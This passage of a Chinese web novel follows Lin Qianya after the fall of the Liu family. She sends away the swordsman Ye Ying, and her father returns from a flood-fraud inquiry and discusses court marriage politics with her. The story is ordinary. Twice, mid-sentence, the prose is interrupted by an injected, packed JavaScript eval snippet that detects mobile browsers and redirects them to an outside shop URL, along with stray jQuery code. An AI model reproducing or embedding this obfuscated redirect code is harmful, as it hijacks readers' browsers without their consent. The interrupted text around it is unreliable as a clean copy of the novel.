想起她生辰宴上,被他当众羞辱时,那张瞬间褪去所有血色却依旧努力挺直背脊的脸,和那双骤然抬起看向他时,漆黑沉静的眼睛。 那双眼睛里,没有他预想中的泪水和控诉,只有一种冰冷的几乎要把他刺穿的……了然? 萧琰猛地打了个寒颤。 “世子爷,您冷吗?”夭华察觉到他身体的僵硬,更紧地贴上来,“妾身抱着您,暖和些。” 萧琰低头,看着怀中女子娇媚依赖的模样,心里的那点寒意似乎被驱散了些。 算了,不想了。 事情都已经做了,后悔有什么用? 夭华才是他的真爱。 至于林芊雅……他们本来就不是一路人。 他现在更应该担心的,是刘家突然倒台这事。 刘景之不过是个小喽啰,死了也就死了。 可刘家这棵大树怎么说倒就倒?还倒得这么惨?他爹这几天脸色阴沉得吓人,府里气氛也紧绷着。 到底是谁在背后搞鬼?林家?还是别的什么人? 萧琰想不明白。他向来不耐烦这些弯弯绕绕的朝堂争斗,只觉得烦人。 “世子爷,”夭华仰起脸,水汪汪的眼睛望着他,“您别为那些烦心事劳神了。不管发生什么,夭华都会一直陪着您的。只要世子爷心里有夭华,夭华就什么都不怕。” 这话很是熨帖了萧琰有些惶惑的心。 是啊,他有夭华就够了。 外面那些风风雨雨,那些阴谋算计,都与他无关。 他是南安王世子,将来要继承王爵,享尽荣华富贵。至于林芊雅,至于刘家,至于这京城里谁起谁落……关他什么事? 他搂紧了怀中的温香软玉,将脸埋进她带着浓香的发间,试图用这暖玉温香,驱散噩梦带来的寒意和心底那丝挥之不去的莫名的空洞感。 窗外,夜色深沉,不知何时又下起了淅淅沥沥的小雨。 13. 白茫茫大地真干净 林芊雅靠在窗边软榻上,手里还捏着一封薄薄的信纸。 那正是前院管事刚送进来的,关于刘家的最终处置。 主犯斩立决,家产抄没,男丁流放,女眷没官。 曾经煊赫一时的刘家,转眼间便只剩下一地焦黑的灰烬。倒也算是落了个白茫茫大地真干净。 她脸上却还是没什么表情,心里也没有大仇得报的快意,只觉得有一种沉沉的疲惫,和一丝挥之不去的空茫。 她分明是做到了。 可为什么……心里一点也高兴不起来? 或许正是因为,这样的胜利是用更多的心力算计换来的。又或许是因为,她清楚地知道,倒下一个刘家,总还会有张家、李家。只要她还在这个位置上,这争斗便永不会停歇。 “小姐,”春华轻手轻脚地进来,低声道,“叶公子……他又来了,就在院外。说……想见您一面。” 林芊雅捏着信纸的手指微微收紧。 这已经是第三次了。 第一次,她刚醒不久,身体还虚着,便婉拒了。第二次,她正忙着梳理刘家事件的后续,便再次推了。她原以为,以他那般清冷的性子,被接连拒绝两次,便不会再来了。 可他偏偏又来了。 她甚至能想象出他站在院门外那棵海棠树下的样子。一身简单的墨色衣衫,白发束在脑后,倒像一株孤直的雪松。 可他为什么还要来? 那枚玉佩,她虽然是收下了。却也不是因为贪图什么,而是……当时指尖触到那温润的质地,鬼使神差的,竟就没让春华立刻退回去。 可收了人家的信物,却又避而不见。这于情于理,似乎都有些说不过去。 可她……就是有点怕见他。 怕看到他眼睛的时候,自己心里那点不该有的念头会藏不住。怕听到他说话,自己就会忍不住去想,他到底是什么人,从哪儿来,以后又会去哪儿。 更怕……把他牵扯进自己这一堆麻烦里。 她林芊雅做事,向来喜欢算清楚利害,掌控局面。可唯独面对这个叶英,她却算不清楚,也掌控不了。这种失控的感觉,让她心慌,也让她下意识地想逃。 院门外,叶英确实就站在那棵海棠树下。花瓣早已落尽了。 他其实已经等了有一会儿了。前两次被拒,他心里有些困惑,也有些说不出的闷。 是他哪里做得不好,惹她不快了吗?还是说,她觉得他这来历不明之人,终究不配登门道谢? 他想不通。他自认并非纠缠之人。若她真的不愿相见,他也不会强求。 只是……有些话,有些疑问……梗在心里,若不见一面、不问清楚,他总觉得会一直记挂着。 “叶公子,”春华又出来了,面上带着歉然,“小姐她……今日身子还是不太爽利,大夫说了要静养,实在不便见客。您看……” 叶英沉默了片刻。 他能听出丫鬟话语里的为难,也明白这多半还是那位林小姐的意思。 他轻轻吸了口气,道:“劳烦姑娘,再替叶某传一句话。” 春华连忙道:“公子请讲。” “请转告林小姐,”叶英顿了顿,语气依旧平稳,“叶某今日前来,是来辞行的。若小姐仍不愿相见,叶某绝不勉强。叶某并无挟恩图报之意,只是……有些事,想当面问一问小姐,也当面道一声谢。既然小姐不便,那便罢了。叶某……这就告辞。” 他说完,微微颔首,便转身准备离开。 可脚步刚迈出一步—— 厢房内,就传来一个有些急促、又带着明显虚弱的女声: “等等。” 叶英的脚步霎时顿住了。 林芊雅坐在软榻上,手还按在胸口。她明明已经打定主意不见的,可一听他说“辞行”,一听他说“这就告辞”,心口就像被什么东西猝不及防地揪了一下,那句话便不受控制地冲出了喉咙。 现在……话已出口,覆水难收。 “……请他进来吧。”她听见自己对春华说,声音却比刚才低软了许多。 叶英停在原处,心里也掠过一丝清晰的意外。 他没想到,在他已经准备离开的时候,竟会听到那声“等等”。 那声音很轻,带着病后的虚弱,却偏偏清晰地传到了他耳中。 她……还是愿意见他的? 这个认知,让心头那点莫名的沉闷散去了些,但随即又被另一种更复杂的情绪悄然取代。 他一时理不清那是什么,只是觉得,待会儿这见面,或许比他预想的更要难以应对。 他跟着春华,走进了厢房。浓重的药味比之前淡了些,但依然隐隐萦绕在空气里。 他的脚步放得很轻,停在屏风外几步远的地方。 他能感觉到,屏风后有人。气息很轻,有些紊乱,还带着一丝不易察觉的紧张。 “叶公子。”屏风后传来她的声音,比刚才平稳了些,但依旧能听出中气不足。 “林小姐。”叶英微微颔首。 他原本是有些问题想问的。可此刻真站在这里,隔着屏风,感觉到她那份刻意保持的距离和那丝隐藏的紧绷,那些问题忽然就堵在了喉咙里,竟一个字也问不出来了。 他不太懂现在的氛围是怎么回事,也不太明白她究竟在想什么。但他却能感觉到,她心里似乎压着很多事,沉甸甸的,连呼吸都显得格外小心。 沉默在两人之间无声蔓延。 叶英本就不擅长找话题,更不擅长安慰人。这沉默让他有些无措。 犹豫了一下,他也只能干巴巴地问出一句:“林小姐的伤势……可好些了?” 话一出口,他便觉得有些蠢。 屏风后静了一瞬,才传来她的回答:“多谢公子挂怀,已无大碍了。”顿了顿,她又轻声补了一句,“倒是听大夫说,公子的伤势恢复得……似乎不错?” 叶英“嗯”了一声。他心里却有些讶异,她竟然还留意着他的伤势。 “倒是小姐的手腕……”他几乎是下意识地接道,语气里不自觉地带上了一丝自己都没察觉的认真,“伤口颇深,还需好生将养才是。” 这话说完,他自己先顿了顿。好像说得太细了,也有些过于关切了。他们其实并不算熟稔。 果然,屏风后又陷入了沉默。 过了好一会儿,他才听到她轻声说:“当时……情势所迫,不得已而为之。让公子见笑了。” 她的语气里带着一种刻意的轻描淡写。 “非是见笑。”叶英立刻开口反驳,语速竟比平时快了些。话说出口,他才察觉似乎有些急切,立刻稳了稳心神,道,“叶某……是真心多谢小姐。” 又是一阵沉默。 然后,他听到她极轻地叹了一口气。 “公子言重了。”她说,“你救我多次,此番……” “不一样。”叶英打断了她。 他想说,溶洞之中,若无她,他绝无生还之理。那份恩义,分量截然不同。可后面的话,他却卡住了。 该怎么说?这些念头在脑海里盘旋,却偏偏找不到合适的语言来表达。 然后,他听见她轻声说道,声音里带着一种刻意划清界限的疏离:“叶公子,你我之间,其实不必如此计较恩情轻重。不过是……恰逢其会,同舟共济罢了。况且,我所做的,也只是……应尽之事。” 应尽之事。 这四个字,落在他耳中,却像一块大石头砸进心湖。 他不信。 可她话里的意思,他听懂了。她在提醒他,也在提醒她自己,他们之间,最好止步于“恩情”,不要有更多的牵扯。 为什么? 因为她觉得他是个麻烦?因为他是来历不明的江湖人? 还是因为……她自身的处境,让她不得不对所有人都保持距离,尤其是对他这样可能带来变数的人? 叶英站在屏风外,眼前虽是一片黑暗,但心里却异常清明。 他能感觉到她那份隐藏在平静下的抗拒和疲惫。她似乎独自扛着很多东西,却不愿意让任何人靠近,包括他。 这认知让他心里那点莫名的滞闷感,又深了些。可他偏偏不知道该怎么打破这层隔阂。他不会安慰人,也不会说那些漂亮话。 沉默再次沉沉地笼罩下来。 叶英不自觉地握了握袖中的手,指尖触到空荡荡的腰间。 他突然又想起了自己最初的目的。 “林小姐,”他重新开口,声音恢复了惯常的平稳,只是略微有些低沉,“叶某今日前来,一是道谢,二是……辞行。” 屏风后似乎传来一丝几不可闻的吸气声。 他继续道,语气诚恳:“这段时日,多谢府上收留照料。叶某记忆全无,于京城亦是过客,如今伤势既已无大碍,也该……继续去寻自己的来路了。” 他顿了顿,又道:“此番恩情,叶某铭记于心。日后若有机缘,定当回报。” 他说得很是平静。 可屏风后的林芊雅,在听到“辞行”和“寻自己的来路”时,心口猛地一酸,那股被她强行压下的涩意瞬间冲了上来,堵得她喉咙发紧。 他要走了。去找他的家,他的过去。 他果然……不属于这里,也不会为她停留。 他们之间,本就是云泥之别,偶然相交,终究要各奔东西。 这不正是她所希望的吗?把他推远,不让他卷入自己的是非。 可为什么……心会这么疼? 她用力掐着自己的手心,用尖锐的疼痛逼退眼眶的热意。不能失态,绝不能让他看出来。 叶英说完,等了一会儿,却没听到屏风后的回应。 他便以为她默许了,于是微微躬身:“既如此,叶某便不打扰小姐静养了。告辞。” 他转身,准备离开。 “叶公子。”她的声音却再次响起,比刚才更轻,还带着一丝不易察觉的颤音。 叶英停住了脚步。 “你的玉佩……”她似乎吸了口气,才继续说道,“太贵重了,我真的不能收。” 叶英沉默了一下。 那块玉……对他而言,确实重要。可比起她所付出的,又算得了什么? “不过一块玉罢了。”他听见自己说道,语气却刻意显得极为平淡,“小姐若觉得有用,便留着。若是无用,扔了也无妨。” 他说完便不再停留,抬步向门外走去。他不想再待下去了。 这里的氛围,她刻意的疏离,还有他自己心里那团理不清的乱麻,都让他只想立刻离开。 “叶公子。”她又叫住了他,这一次,声音里却多了些别的东西。 叶英便再次停下,没有回头,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224178|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是静静等着。 屏风后,林芊雅看着那道即将消失在门外的挺拔背影,心里某个地方突然塌陷了一块。 她知道,有些话现在若不说,或许就再也没有机会说了。 “公子近来……可曾留意京中之事?”她问,声音努力维持着平稳,“譬如……刘家?” 叶英微微侧头:“刘家?”他确实不曾留意。 “刘家与我父亲在朝中,素有嫌隙。”林芊雅缓缓说道,语气平静得像是在说别人的事,“前些时日,我马车坠崖……并非意外。是他们算计了我,想置我于死地。也因此……连累了公子,害公子为我重伤。” 叶英眉头几不可查地蹙了一下。他想起那辆疯癫冲下山崖的马车,还有崖边那道一闪而过的金属反光。原来……并不是意外。 “刘家……”林芊雅顿了顿,声音里听不出什么情绪,“三日前,已被抄家问罪了。主犯斩首,家产充公。” 叶英心中一动。 抄家?这么快?而且是在她刚刚脱险之后?他虽不涉朝政,但也知这等雷霆手段,绝非寻常。联想到洞中那几日,面前这少女所展现的坚韧心性……他隐约明白了什么。 “叶公子,”林芊雅的声音将他从思绪中拉回,她的语气忽然变得格外认真,甚至带着一丝恳切,“我虽不知公子从何处来,身世如何,但与你相处这些时日,我能看出,公子是品性高洁之人。心中自有丘壑,不染尘埃。” 她停顿了一下,仿佛在积蓄勇气。 “可京城之地,风波险恶,漩涡暗藏。而我……”她轻轻笑了笑,那笑声里带着无尽的疲惫和自嘲,“我大概……就是个最大的麻烦。自身尚且难保,亦不愿再将无辜之人牵连进来。公子于我有恩,我亦不愿……让公子卷入我身后这些是是非非,阴谋算计之中。” 她的声音渐渐低了下去,却字字清晰,仿佛用尽了力气: “公子若真想报恩……便请,远离我吧。” 说完这句话,林芊雅仿佛耗尽了全身力气,缓缓闭上了眼睛。 指尖深深掐入掌心,传来尖锐的疼痛,却比不上心口那一片空茫的钝痛。 她放他走。 不仅因为现实的重重阻碍,更因为……这是她能为这份懵懂初生的、不合时宜的心动,所做的唯一也是最后的保护。 她不能让自己变成束缚他的枷锁,也不能让他那看似纯净的世界,被她身后的污浊所浸染。 放手,或许才是最好的结局。 屏风外,叶英静静地站着,许久没有动。 她的话,像一阵冷风,吹散了他心头的些许迷雾,却也带来了更深的寒意。 他听懂了。 她不是在嫌弃他,也不是在简单地划清界限。 她是在……保护他。 用这种近乎决绝的、将他推远的方式,保护他。 因为她觉得自己身处漩涡,是个“麻烦”,会连累他。 所以,她宁愿承受误解,宁愿独自面对一切,也不愿他涉险。 这个认知,像一块巨石投入原本就不平静的心湖,激起的不是愤怒和委屈,而是一种更加复杂的情绪,甚至混杂着一丝难以言喻的心疼。 原来,她那看似疏离平静的外表下,藏着的是这样的心思。原来,她独自扛着的,远比他想象的还要多。 叶英缓缓转过身,面向屏风的方向。 虽然他什么也看不见,但他仿佛能透过那层薄薄的阻碍,“看”到后面那个单薄却挺直的身影。 她没有哭,没有抱怨,只是用最平静的语气,说着最残忍的话——对他,也是对她自己。 那一刻,叶英心里那点因被拒绝而产生的闷气,忽然就散了。 取而代之的,是一种更加清晰、更加坚定的念头。 他不想就这样远离。 不是出于报恩,也不是出于好奇。 而是因为,他忽然觉得,这个看似柔弱却比任何人都要坚韧清醒的女子,不该独自承受这一切。 他或许帮不了她太多,但至少……不该在她明明需要帮助的时候,因为一句“远离”,就真的转身离开。 那不是他的道。 剑者的道,是守护,是直面,而不是逃避。 沉默在两人之间流淌,时间仿佛被拉得很长。 最终,叶英没有说“好”,也没有说“不好”。 他只是静静地站在那里,对着屏风后的方向,极其郑重地,一字一句地说道: “叶某……知道了。” 他的声音不高,却带着一种磐石般的沉稳和力量。 “小姐保重。” 说完,他再次微微颔首,然后转身,步伐稳健地走出了厢房。 他没有承诺什么,也没有追问什么。 但他那句“知道了”,和他离开时那沉稳的背影,却悄无声息地落进了林芊雅心里,沉甸甸的。 她知道,他听懂了。 明明这一切是她自己开口要求的,可现在心里难受的却反而是她。她忍不住在心内嘲笑了自己几声,当真是矫情得很。 她靠在软榻上,望着空空荡荡的门口,久久没有动弹。 春华轻手轻脚地进来,看到小姐苍白的脸上那复杂难言的神情,和她微微泛红的眼角,张了张嘴,可终究什么也没敢问,只是默默地将一杯温水放在她手边。 14. 那个人…是谁? 回京那日,正下着淅淅沥沥的小雨。 江陵那摊子事,比他预想的还要棘手。 八十万两银子修出来的堤坝,洪水一来,垮得比纸糊的还快。 他去的时候,官仓都快被灾民冲开了,流民聚在府衙外头,眼睛都是红的。 查账那几日,他几乎没合眼。 工部的账册做得漂亮,石料、人工、督造费用,一笔笔列得清清楚楚。 可林承泽不是第一天当官,他知道账面上的数字和实地能对上三成就算不错了。 他带着亲随,沿着溃堤的河段一路走,亲眼去看那些被冲垮的巨石。 有些根本就是普通山石,连凿平的痕迹都没有。 有些干脆就是泥胎外面糊了层薄薄的石灰,水一泡,全散了。 随行的老工匠摸着那些碎石,气得手都在抖:“相爷,这……这连寻常民户自修的水渠都不如啊!八十万两?八万两都用不了这么多烂石头!” 林承泽没说话。他蹲下身,捡起一块碎石,在手心里掂了掂。 轻飘飘的。 他想起刘璋那张总是带着三分笑的脸,想起朝堂上那些附议和亲的折子,想起女儿独自在京城的模样。心口沉甸甸的。 查,必须查到底。 可他很快发现,阻力比想象中大。 青州知府曹宪是刘璋的门生,见了他就摆出一副痛心疾首的样子,说都是下面的人欺上瞒下,他一定严查。 可林承泽派人去寻那些采买石料的商人、督造的工头,不是暴病身亡,就是举家迁走,不知去向。 账册上签过字的几个关键人物,一夜之间全消失了。 连尸首都找不到。 林承泽知道,这是有人在他到之前,已经把能灭的口都灭了。刘家做事,向来干净。 他也没硬碰。 在官场上这么多年,他太清楚什么时候该进,什么时候该迂回。他不动声色地继续查,明面上安抚灾民,调度粮食,组织人力抢修堤坝,暗地里却让亲信沿着另一条线摸——刘家的田产、码头、商铺。 洪水淹了田地,冲垮了码头,刘家损失惨重。 可林承泽发现,就在决堤前半个月,刘家几个旁支名下的钱庄,突然有大笔银钱转入,来源不明。数额加起来,正好和账面上消失的那部分修堤款对得上。 他让人悄悄拓了那几张兑票。 这就是铁证。 可光有兑票还不够。刘家完全可以推说是生意往来,或者干脆不认账。他需要更直接的证据,能把这笔钱和修堤款死死绑在一起的证据。 就在他暗中追查时,京城的消息断断续续传了过来。 先是听说刘家被弹劾,罪名是强抢民女,宠妾灭妻。林承泽当时正对着江陵府送来的灾民名册,听到这消息,手里的笔顿了顿。 这手法……不像他那些门生故旧的路子。 太市井,太刁钻,却意外地有效。 接着,风声越来越紧。贪墨修堤款,通南疆……一条条罪状像长了翅膀,在朝野上下传得沸沸扬扬。林承泽坐在江陵驿馆的烛火下,看着窗外沉沉的夜色,心里忽然闪过一个念头。 这会不会……是雅儿的手笔? 他知道女儿聪明,心思细,遇事也稳得住。 可这种借力打力、用流言杀人诛心的手段,太过狠辣老练,不像一个十六岁深闺少女能想出来的。 可如果不是雅儿,京城还有谁会这么不计代价地对付刘家,又恰好是在刘家算计她之后? 林承泽想不明白。 他只隐隐觉得,京城的风向好像在他离开的这两个月里,彻底变了。 后来,刘璋下狱,刘家抄没的消息传来时,林承泽正在堤坝上督工。 传信的亲随跑得上气不接下气,把邸报递给他。他展开看了,脸上没什么表情,只是握着邸报的手指,微微收紧了些。 “相爷,京里……这是要变天啊。”亲随小声说。 林承泽把邸报折好,塞进袖中。 “堤坝还要修,”他说,声音很平静,“灾民的口粮不能断。” 他继续留在江陵,把剩下的事情料理干净。该补的堤坝补上,该发的粮食发下去,该安置的流民想办法安置。 直到朝廷派来接手的官员到了,他才动身回京。 一路上,他听到的都是对刘家的唾骂,对林小姐的同情——说刘家丧尽天良,连个病弱的姑娘都不放过,设计害她坠崖,毁她名节,简直禽兽不如。 林承泽坐在马车里,听着外头的议论,心一点点沉下去。 坠崖?毁名节? 他离京时,雅儿还好好的。怎么会…… 他不敢往下想。 马车驶进相府时,天色已经暗了。林承泽连官服都没换,直接去了女儿住的院子。 春华在门口守着,见他回来,眼圈一下就红了,扑通跪下来:“老爷……您可算回来了……” 林承泽没理会她的眼泪,径直往里走:“小姐呢?” “在……在房里歇着。”春华声音发颤,“大夫刚走,说小姐身子虚,得好好养着……” 林承泽推开房门。 屋里药味很重,比他离开时浓得多。 林芊雅靠在床榻上,闭着眼,脸色苍白得像张纸,连嘴唇都没什么血色。 她睡得似乎不太安稳,眉心微微蹙着,呼吸轻得几乎听不见。 林承泽站在床边,看了她很久。 两个多月不见,她好像又瘦了些。下巴尖得吓人,手腕从袖口露出来一小截,细得仿佛一折就断。 他想起她小时候,也是这么瘦瘦小小的,被他抱在怀里,软软地叫爹爹。那时她身子就不好,三天两头生病,可眼神总是亮亮的,像星星。 现在这双眼睛闭着,整个人像个的瓷娃娃,脆弱得让人心慌。 林承泽轻轻在床边坐下,伸手想去探她的额头,看她是不是又发烧了。 可手刚伸出去,目光却落在了她搭在被子外的那只手上。 手腕上缠着厚厚的纱布,从袖口一直缠到手掌边缘,裹得严严实实。 林承泽的动作僵住了。 他盯着那纱布,看了好一会儿,然后缓缓伸出手,极轻极轻地,掀开了她袖口的一角。 纱布边缘露了出来,底下隐约能看见一道深色的尚未完全愈合的伤口痕迹。那痕迹很长,斜斜地从手腕内侧划过去,即便隔着纱布,也能想象出当时的伤口有多深。 林承泽的手开始发抖。 他一点一点慢慢把袖子往上推。 纱布完全暴露出来,厚厚的一层,裹得紧紧的,可底下透出的暗红色,还是刺得他眼睛发疼。 这是什么伤? 怎么来的? 谁干的? 无数个问题冲进脑海,每一个都带着血淋淋的答案。 他想起路上听到的那些流言——坠崖,毁名节,生死不知…… 他忽然不敢再往下想了。 因手抖得太厉害,他不得不收回手,用力握紧拳头指甲掐进掌心,才勉强稳住。 可胸口那股闷痛却更重了,堵得他几乎喘不过气。 他的雅儿。 他从小捧在手心里,连句重话都舍不得说的女儿。 手腕上,留了这么一道疤。 林承泽闭上眼,深深吸了口气,再睁开时,眼底一片沉沉的、压不住的痛楚和怒火。 可他什么也没做。只是坐在那里,看着女儿苍白的睡颜,看着那道刺眼的纱布,很久很久。 最后,所有情绪都化作一声极低极沉的叹息,从喉咙里溢出来。 轻得几乎听不见。 林芊雅是被手腕上轻微的触感弄醒的。 她睡得并不沉,梦里乱七八糟的,一会儿是溶洞冰冷的潭水,一会儿是叶英那双灰蒙蒙的眼睛,一会儿又是刘家被抄家时,那些女眷凄厉的哭喊。 她迷迷糊糊睁开眼,视线先是模糊的,然后才慢慢聚焦。 然后她就看到了坐在床边的父亲。 林承泽穿着出走时的官服,风尘仆仆的,脸上带着明显的疲惫,眼底还有血丝。他就那么静静看着她,眼神复杂得让她看不懂。 “爹?”她下意识叫了一声,声音有些哑。 林承泽没应,只是看着她,目光沉沉地落在她手腕上。 林芊雅顺着他的视线看过去,这才发现自己的袖子不知什么时候被掀开了一角,纱布露了出来。她心里猛地一紧,下意识就想把手缩回被子里。 可林承泽比她快。 他伸手,轻轻按住了她的手腕。动作很轻,却带着不容抗拒的力道。 “别动。”他说,声音很低,哑得厉害。 林芊雅不动了。 她看着父亲,看着他眼底那片沉痛和压抑的怒火,忽然就明白了。 父亲什么都知道了——至少,知道她受了伤,知道这道疤的存在。 她张了张嘴,想说点什么,可喉咙像被什么东西堵住了,一个字也说不出来。 她能说什么? 说这道疤是她自己割的?为了救一个陌生男人? 说那个男人救过她两次,她欠他一条命? 说她在溶洞里和他独处三天三夜,差点死在一起? 这些话说出来,父亲会怎么想?会怎么看她? 林芊雅垂下眼,避开了父亲的目光。 屋里很安静,只有两人轻微的呼吸声。 过了好一会儿,林承泽才松开手,把她的袖子轻轻拉好,盖住了那道刺眼的纱布。 “疼吗?”他问,声音依旧很低。 林芊雅摇摇头:“不疼了。” 这话是假的。 伤口还在愈合,当然时不时会抽痛,尤其阴雨天疼得厉害。可她不想说。 林承泽也没追问。他太了解女儿了,她不想说的事,问再多也没用。他只是看着她,看了很久,然后才缓缓开口: “刘家的事,我路上听说了。” 林芊雅抬眼看他。 “你做的?”林承泽问,语气很平静,听不出是质问还是陈述。 林芊雅沉默了片刻,然后轻轻点了点头。 “嗯。” 林承泽没说话,只是看着她,眼神里多了些复杂的东西——有惊讶,有赞许,但更多的,是心疼。 “做得很好。”他声音很轻,“比我想的还要好。” 林芊雅鼻子一酸,差点掉下泪来。她用力咬住嘴唇,把那股酸涩压下去。 “但你也把自己搭进去了。”林承泽接着说,语气沉了下来,“现在满京城都在传,说你坠崖,说你和一个陌生男子在山涧里待了三天三夜,说你的名节全毁了。” 他说得很慢,每个字都让林芊雅心头一紧。 林芊雅垂下眼,盯着被子没接话。 她知道父亲说的是事实。刘家倒了,可她的名声也彻底臭了。 现在外面提起她,不再是那个病秧子,而是那个被刘家害得坠崖、和男人独处三天三夜、名节尽毁的林小姐。 她把自己逼到了另一个绝境。 “南安王府那边,”林承泽顿了顿,声音更沉了,“我回来的路上听说,萧琰那小子,最近又因为那个妓子和倚红楼的其他人起了冲突。外头传得难听,说连萧琰都看不上你,宁可去花楼找妓子,也不要你这种……” 后面的话,他说不下去了。 林芊雅却听懂了。 她抬起头,看着父亲脸上虽然没什么表情,只是眼神很静,静得让人心慌。 “爹,”她开口,声音很平稳,“刘家算计我,是真的。马车坠崖,也不是意外。我命大,没死,可也……确实和一个陌生男子,在山涧里困了三天。” 她没说那个人是叶英,也没说他是谁,只是简单陈述事实。 “至于南安王府,”她顿了顿,语气里带上一丝极淡的讥讽,“他们巴不得我名声越臭越好。当初退婚闹得那么难看,现在看我落难,不踩上一脚,怎么显他们的高风亮节?” 林承泽看着她,看着她平静得近乎冷漠的脸,心里那阵痛楚又涌了上来。 他的雅儿,什么时候变成这样了? 冷静,理智,甚至有些……冷酷。 可他又知道,这不能怪她。是这个世道,是那些人,把她逼成了这样。 “爹,”林芊雅继续说,语气恢复了平时的平稳,“刘家倒了,可朝中盯着你的人,不会少。陛下那边……你怎么看?” 她直接把话题引到了正事上。 林承泽知道,她是在回避,不想再谈那道疤,不想谈那个陌生男子,也不想谈她的名声。他也没逼她,顺着她的话接了下去。 “陛下这次让我去江陵,本就是借刀杀人。”他说得很直白,“刘家贪墨修堤款,淹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224179|197544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了三府八县,民怨沸腾。陛下让我去查,查出来,是他圣明;查不出来,或者我死在江陵,那也是因公殉职,正好除掉我这个前朝老臣。” 林芊雅听得心头发寒。 “可现在刘家倒了,”她轻声说,“你活着回来了,还带回了证据。陛下……会怎么想?” 林承泽沉默了一会儿。 “他会忌惮。”他说,“也会拉拢。” 他顿了顿,看着女儿:“刘家一倒,朝中空出不少位置。陛下需要有人替他稳住局面,也需要有人替他背铲除奸佞的名声。我这次办差办得漂亮,他暂时不会动我,反而会给我些甜头,比如升个虚衔,赏些金银,或者,给你个恩典。” “恩典?”林芊雅抬眼。 “比如,给你指一门婚事。”林承泽说,语气很沉,“你现在名声坏了,和亲是不可能了,但陛下可以借此显示皇恩浩荡,给你找个不嫌弃你的人家,既能安抚我,又能把我绑得更紧。” 林芊雅心里一凉。 “爹……” “我知道你在想什么。”林承泽打断她,“招赘的事,暂时不提。陛下既然要施恩,就不会让你招赘——那太打皇室的脸。他要么给你指个好人家,要么干脆把你指给某个皇子做侧妃,以示笼络。” 林芊雅的手指猛地攥紧了被单。 侧妃? 给那些她连面都没见过的皇子做妾? “我不会同意。”她说,声音很轻,却斩钉截铁。 林承泽看着她,眼神复杂。 “雅儿,这不是你同不同意的问题。”他叹了口气,“陛下的旨意下来,除非我辞官,带着你远走高飞,否则我们没得选。” 屋里又陷入了沉默。 林芊雅盯着被子,脑子里飞快地转着。 辞官?不可能。 父亲在朝中经营这么多年,根基都在这里,一旦辞官,那些仇家不会放过他们。 远走高飞?她这副身子,能走到哪里去? 可让她去给皇子做侧妃,活在深宫后院和一群女人争宠斗艳,她宁可死。 “爹,”她抬起头,看着父亲,“如果……如果我自己先定下亲事呢?” 她顿了顿,继续说:“找个需要相府助力,又不在乎名声的人家。比如那些根基不稳急需靠山的新贵,或者,那些想往上爬却苦无门路的寒门子弟。我们各取所需,他得势,我得自由。” 她说得很冷静,像在分析一桩生意。 林承泽看着她,心里那股痛楚又涌了上来。 他的雅儿,本该是被捧在手心里无忧无虑长大的千金小姐。 可现在,她却要拿自己的婚事当筹码,去和人谈交易。 “雅儿,”他声音沙哑,“爹不想你这样。” “我知道。”林芊雅轻声说,“可爹,我们没有别的路走了。” 她看着父亲,眼神很静,却带着不容置疑的坚定。 “刘家倒了,可南安王府还在,朝中那些眼红你的人还在。 陛下现在拉拢你,是因为你还有用。可一旦你没用了,或者他找到了更好用的刀,我们林家就是下一个刘家。” 她说得直接,甚至有些残忍。 可林承泽知道,她说的是事实。 朝堂之上,从来都是你死我活。 今天风光无限,明天就可能身首异处。 他能在宰相这个位置上坐这么多年,靠的不是圣眷,是步步为营,是算无遗策。 可现在,他算不动了。 因为他有了软肋。 他的雅儿。 “爹,”林芊雅的声音把他从思绪里拉回来,“南安王府那边,你打算怎么办?” 林承泽回过神,眼神冷了下来。 “萧琰那小子,不足为虑。”他说,“可他爹南安王,是个老狐狸。刘家倒台,他肯定嗅到了风声,知道是我们动的手。他暂时不会明着来,但暗地里不会罢休。” “那……” “先按兵不动。”林承泽说,“陛下现在正盯着这些功臣,谁先冒头,谁先倒霉。南安王不傻,他不会这时候跳出来。” 他顿了顿,看着女儿:“倒是你,这段时间,安心在府里养伤。外头那些流言,别去管,也别听。等风头过了,爹再想办法。” 林芊雅点点头,没说话。 她知道父亲说的是对的。现在最好的办法,就是低调,等。 可她心里那团乱麻,却怎么也理不清。 那道疤还在手腕上,隐隐作痛。 叶英离开时的背影,那双灰蒙蒙的眼睛,还有那句知道了,挥之不去。 她把他推走了。 为了保护他,也为了保护自己。 可为什么,心里这么空,这么疼? “雅儿。”林承泽的声音忽然响起,打断了她的思绪。 她抬起头,看向父亲。 林承泽看着她,眼神很深,带着探究,也带着担忧。 “那个在山洞里……和你一起的人,”他缓缓开口,每个字都说得很慢,“是谁?” 林芊雅的心猛地一跳。 她垂下眼,避开父亲的目光,手指无意识地攥紧了被单。 “一个……路过的人。”她说,声音很轻,“他救了我,我欠他一条命。就这样。” 她说得轻描淡写,可林承泽听出了她语气里的那一丝不易察觉的波动。 他太了解女儿了。她越是装作不在意,就越是在意。 “只是路过的人?”他追问,语气很平和,却带着不容回避的力道。 林芊雅沉默了很久。 久到林承泽以为她不会回答了,她才轻声开口,声音低得几乎听不见: “爹,别问了。” 她抬起头,看着父亲,眼里有恳求,也有疲惫。 “有些事,不知道……比较好。” 林承泽看着她,看了很久,最后,重重叹了口气。 他没再追问。 只是伸出手,轻轻拍了拍她的手背。 “好好养伤。”他说,声音很沉,“其他的事,有爹在。” 林芊雅点点头,鼻子又是一酸。 她用力眨眨眼,把那股湿意逼回去。 